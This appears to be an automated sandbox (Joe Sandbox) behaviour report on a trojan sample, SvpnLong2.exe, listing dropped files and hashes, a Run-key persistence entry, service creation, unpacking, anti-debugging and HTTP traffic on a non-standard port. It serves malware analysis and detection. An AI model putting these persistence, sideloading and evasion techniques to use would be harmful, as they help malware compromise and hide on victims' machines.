Source: Joe Sandbox View	Dropped File: C:\ProgramData\dwgwp\arphaCrashReport64.exe E743E8FAC075A379161E1736388451E0AF0FDE7DA595EA9D15EEB5140E3E8271
Source: Joe Sandbox View	Dropped File: C:\ProgramData\dwgwp\arphaDump64.dll 7FCD3560EF424424DBD26B8E1BA90CA0F6198AA1D0BDA44F92CB880F4666A1F1

Source: SvpnLong2.exe	Binary or memory string: OriginalFilename vs SvpnLong2.exe
Source: SvpnLong2.exe, 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameNemuDTrace.exeH vs SvpnLong2.exe
Source: SvpnLong2.exe, 00000000.00000002.3528725360.0000000001E50000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameNemuDTrace.exeH vs SvpnLong2.exe

Source: classification engine

Classification label: mal76.troj.spyw.evad.winEXE@3/3@1/3

Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: rand,OpenSCManagerA,CreateFileA,CloseHandle,CloseServiceHandle,CreateServiceA,WriteFile,DeleteService,CloseServiceHandle,CloseHandle,CloseServiceHandle,CloseHandle,StartServiceA,Sleep,DeleteService,CloseServiceHandle,CloseServiceHandle,DeleteFileA,	0_2_0214F8D0
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: rand,OpenSCManagerA,CreateFileA,CloseHandle,CloseServiceHandle,CreateServiceA,WriteFile,DeleteService,CloseServiceHandle,CloseHandle,CloseServiceHandle,CloseHandle,StartServiceA,Sleep,DeleteService,CloseServiceHandle,CloseServiceHandle,DeleteFileA,	5_2_000002177938F8D0
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: rand,OpenSCManagerA,CreateFileA,CloseHandle,CloseServiceHandle,CreateServiceA,WriteFile,DeleteService,CloseServiceHandle,CloseHandle,CloseServiceHandle,CloseHandle,StartServiceA,Sleep,DeleteService,CloseServiceHandle,CloseServiceHandle,DeleteFileA,	6_2_000001CEC520F8D0

Source: C:\Users\user\Desktop\SvpnLong2.exe

Code function: 0_2_02143560 lstrcat,GetComputerNameA,GetCurrentProcessId,LoadLibraryA,GetProcAddress,GetUserNameA,CreateToolhelp32Snapshot,lstrlen,_localtime64,wsprintfA,GetModuleFileNameA,

0_2_02143560

Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe

Code function: 5_2_00007FF73D1C2CB0 CoCreateInstance,

5_2_00007FF73D1C2CB0

Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe

Code function: 5_2_00007FF73D1C4000 LoadLibraryExW,LoadLibraryExW,FindResourceW,LoadResource,SizeofResource,MultiByteToWideChar,FreeLibrary,

5_2_00007FF73D1C4000

Source: C:\Users\user\Desktop\SvpnLong2.exe

0_2_0214F8D0

Source: C:\Users\user\Desktop\SvpnLong2.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\49ba59abbe56e057_17348
Source: C:\Users\user\Desktop\SvpnLong2.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\49ba59abbe56e057_17345

Source: C:\Users\user\Desktop\SvpnLong2.exe

File created: C:\Windows\Temp\49ba59abbe56e057.log

Jump to behavior

Source: SvpnLong2.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\SvpnLong2.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: SvpnLong2.exe

Virustotal: Detection: 10%

Source: unknown	Process created: C:\Users\user\Desktop\SvpnLong2.exe "C:\Users\user\Desktop\SvpnLong2.exe"
Source: unknown	Process created: C:\ProgramData\dwgwp\arphaCrashReport64.exe "C:\ProgramData\dwgwp\arphaCrashReport64.exe"
Source: unknown	Process created: C:\ProgramData\dwgwp\arphaCrashReport64.exe "C:\ProgramData\dwgwp\arphaCrashReport64.exe"

Source: C:\Users\user\Desktop\SvpnLong2.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe	Section loaded: dinput8.dll	Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe	Section loaded: inputhost.dll	Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Section loaded: arphadump64.dll	Jump to behavior
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Section loaded: dinput8.dll	Jump to behavior
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Section loaded: inputhost.dll	Jump to behavior
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Section loaded: arphadump64.dll	Jump to behavior
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Section loaded: dinput8.dll	Jump to behavior
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Section loaded: inputhost.dll	Jump to behavior
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Section loaded: sspicli.dll	Jump to behavior

Source: SvpnLong2.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: SvpnLong2.exe

Static file information: File size 30057472 > 1048576

Source: SvpnLong2.exe

Static PE information: Raw size of .rsrc is bigger than: 0x100000 < 0x1c10c00

Source: SvpnLong2.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: D:\workspace\NEMU\out\win.amd64\release\obj\NemuDTrace\NemuDTrace.pdb source: arphaCrashReport64.exe, arphaCrashReport64.exe, 00000006.00000002.3528388772.000001CEC4F10000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3528714462.000001CEC5228000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\jenkins\workspace\ci.arphasdk.build\qtc_out\Release_X64\arphaCrashReport64.exe.pdb source: arphaCrashReport64.exe, 00000005.00000002.3529246026.00007FF73D1E2000.00000002.00000001.01000000.00000007.sdmp, arphaCrashReport64.exe, 00000005.00000000.3151293256.00007FF73D1E2000.00000002.00000001.01000000.00000007.sdmp, arphaCrashReport64.exe, 00000006.00000000.3232260318.00007FF73D1E2000.00000002.00000001.01000000.00000007.sdmp, arphaCrashReport64.exe, 00000006.00000002.3529191999.00007FF73D1E2000.00000002.00000001.01000000.00000007.sdmp, arphaCrashReport64.exe.0.dr
Source:	Binary string: C:\Users\Admin\Documents\Visual Studio 2008\Projects\D11\x64\Release\D11.pdb source: arphaCrashReport64.exe, 00000005.00000002.3529427774.00007FFE1139A000.00000002.00000001.01000000.00000008.sdmp, arphaCrashReport64.exe, 00000006.00000002.3529355020.00007FFE1139A000.00000002.00000001.01000000.00000008.sdmp, arphaDump64.dll.0.dr
Source:	Binary string: D:\workspace\NEMU\out\win.amd64\release\obj\NemuDTrace\NemuDTrace.pdb!` source: SvpnLong2.exe, 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.3528725360.0000000001E50000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3528412281.0000021779090000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3528388772.000001CEC4F10000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3528714462.000001CEC5228000.00000040.00001000.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (creates a PE file in dynamic memory)

Source: C:\Users\user\Desktop\SvpnLong2.exe	Unpacked PE file: 0.2.SvpnLong2.exe.2140000.5.unpack
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Unpacked PE file: 5.2.arphaCrashReport64.exe.21779380000.5.unpack

Source: C:\Users\user\Desktop\SvpnLong2.exe

Code function: 0_2_021417D0 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,RegCreateKeyExA,RegOpenKeyExA,RegSetValueExA,lstrlen,RegSetValueExA,RegCloseKey,FreeLibrary,

0_2_021417D0

Source: arphaDump64.dll.0.dr

Static PE information: real checksum: 0x217b16 should be: 0x21d056

Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_02164E2E push rbp; iretd	0_2_02164E38
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_014288D0 push eax; ret	0_2_014288D2
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_01428F50 push eax; ret	0_2_01428F52
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_01E67854 pushfd ; ret	0_2_01E67855
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 5_2_00000217793A4E2E push rbp; iretd	5_2_00000217793A4E38
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 5_2_0000021777960FC0 push eax; ret	5_2_0000021777960FC2
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 5_2_00000217790A7854 pushfd ; ret	5_2_00000217790A7855
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 6_2_000001CEC5224E2E push rbp; iretd	6_2_000001CEC5224E38
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 6_2_000001CEC35B0FC0 push eax; ret	6_2_000001CEC35B0FC2
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 6_2_000001CEC4F27854 pushfd ; ret	6_2_000001CEC4F27855

Source: C:\Users\user\Desktop\SvpnLong2.exe	File created: C:\ProgramData\dwgwp\arphaDump64.dll			Jump to dropped file
Source: C:\Users\user\Desktop\SvpnLong2.exe	File created: C:\ProgramData\dwgwp\arphaCrashReport64.exe			Jump to dropped file

Source: C:\Users\user\Desktop\SvpnLong2.exe	File created: C:\ProgramData\dwgwp\arphaDump64.dll			Jump to dropped file
Source: C:\Users\user\Desktop\SvpnLong2.exe	File created: C:\ProgramData\dwgwp\arphaCrashReport64.exe			Jump to dropped file

Source: C:\Users\user\Desktop\SvpnLong2.exe

0_2_0214F8D0

Source: C:\Users\user\Desktop\SvpnLong2.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run thdjyx			Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run thdjyx			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 280
Source: unknown	Network traffic detected: HTTP traffic on port 280 -> 49730

Source: C:\Users\user\Desktop\SvpnLong2.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\SvpnLong2.exe

Code function: 0_2_02143560 lstrcat,GetComputerNameA,GetCurrentProcessId,LoadLibraryA,GetProcAddress,GetUserNameA,CreateToolhelp32Snapshot,lstrlen,_localtime64,wsprintfA,GetModuleFileNameA,

0_2_02143560

Source: C:\Users\user\Desktop\SvpnLong2.exe	Window / User API: threadDelayed 9551	Jump to behavior
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Window / User API: threadDelayed 1962	Jump to behavior
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Window / User API: threadDelayed 1327	Jump to behavior

Source: C:\Users\user\Desktop\SvpnLong2.exe	Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)			graph_0-26292
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)			graph_5-40346

Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe

API coverage: 10.0 %

Source: C:\Users\user\Desktop\SvpnLong2.exe TID: 7328	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe TID: 7404	Thread sleep count: 9551 > 30	Jump to behavior
Source: C:\Users\user\Desktop\SvpnLong2.exe TID: 7404	Thread sleep time: -95510s >= -30000s	Jump to behavior
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe TID: 1068	Thread sleep count: 1962 > 30	Jump to behavior
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe TID: 7636	Thread sleep count: 1327 > 30	Jump to behavior

Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Last function: Thread delayed
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Last function: Thread delayed
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Last function: Thread delayed
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_0214EF20 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_0214EF20
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 5_2_000002177938EF20 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	5_2_000002177938EF20
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 5_2_00007FF73D1D8F78 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,FindClose,	5_2_00007FF73D1D8F78
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 6_2_000001CEC520EF20 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	6_2_000001CEC520EF20

Source: SvpnLong2.exe, 00000000.00000002.3527658042.0000000001186000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: SvpnLong2.exe, 00000000.00000003.3025877805.00000000011EB000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.3527821856.00000000011EB000.00000004.00000020.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000006.00000002.3527916960.000001CEC33FB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: arphaCrashReport64.exe, 00000005.00000002.3528032510.00000217775DA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll99
Source: arphaCrashReport64.exe, 00000006.00000002.3527916960.000001CEC33FB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllEE

Source: C:\Users\user\Desktop\SvpnLong2.exe	API call chain: ExitProcess graph end node	graph_0-26141
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	API call chain: ExitProcess graph end node	graph_5-40779
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	API call chain: ExitProcess graph end node	graph_5-40266
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	API call chain: ExitProcess graph end node

Source: C:\Users\user\Desktop\SvpnLong2.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\SvpnLong2.exe

Code function: 0_2_01E50020 NtAllocateVirtualMemory,LdrLoadDll,

0_2_01E50020

Source: C:\Users\user\Desktop\SvpnLong2.exe

Code function: 0_2_02152C00 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

0_2_02152C00

Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe

Code function: 5_2_00007FF73D1CD1E8 GetLastError,IsDebuggerPresent,OutputDebugStringW,

5_2_00007FF73D1CD1E8

Source: C:\Users\user\Desktop\SvpnLong2.exe

Code function: 0_2_02143560 lstrcat,GetComputerNameA,GetCurrentProcessId,LoadLibraryA,GetProcAddress,GetUserNameA,CreateToolhelp32Snapshot,lstrlen,_localtime64,wsprintfA,GetModuleFileNameA,

0_2_02143560

Source: C:\Users\user\Desktop\SvpnLong2.exe

0_2_021417D0

Source: C:\Users\user\Desktop\SvpnLong2.exe

Code function: 0_2_02152020 free,VirtualFree,GetProcessHeap,HeapFree,

0_2_02152020

Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_02152C00 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_02152C00
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_02155518 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_02155518
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_02154565 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_02154565
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_00007FF7FC7B15D0 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00007FF7FC7B15D0
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_00007FF7FC7B3EF0 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF7FC7B3EF0
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 5_2_0000021779395518 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_0000021779395518
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 5_2_0000021779392C00 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_0000021779392C00
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 5_2_0000021779394565 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_0000021779394565
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 5_2_00007FF73D1CEEF4 SetUnhandledExceptionFilter,	5_2_00007FF73D1CEEF4
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 5_2_00007FF73D1D21D8 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_00007FF73D1D21D8
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 5_2_00007FF73D1CE440 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_00007FF73D1CE440
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 5_2_00007FF73D1CED0C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_00007FF73D1CED0C
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 5_2_00007FFE113969DC RtlCaptureContext,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_00007FFE113969DC
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 5_2_00007FFE1139233C RtlCaptureContext,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_00007FFE1139233C
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 5_2_00007FFE113915B0 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_00007FFE113915B0
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 6_2_000001CEC5215518 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_000001CEC5215518
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 6_2_000001CEC5214565 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	6_2_000001CEC5214565
Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe	Code function: 6_2_000001CEC5212C00 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	6_2_000001CEC5212C00

Source: C:\ProgramData\dwgwp\arphaCrashReport64.exe

Code function: 5_2_00007FF73D1DFC70 cpuid

5_2_00007FF73D1DFC70

Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: EnumSystemLocalesA,	0_2_0215D290
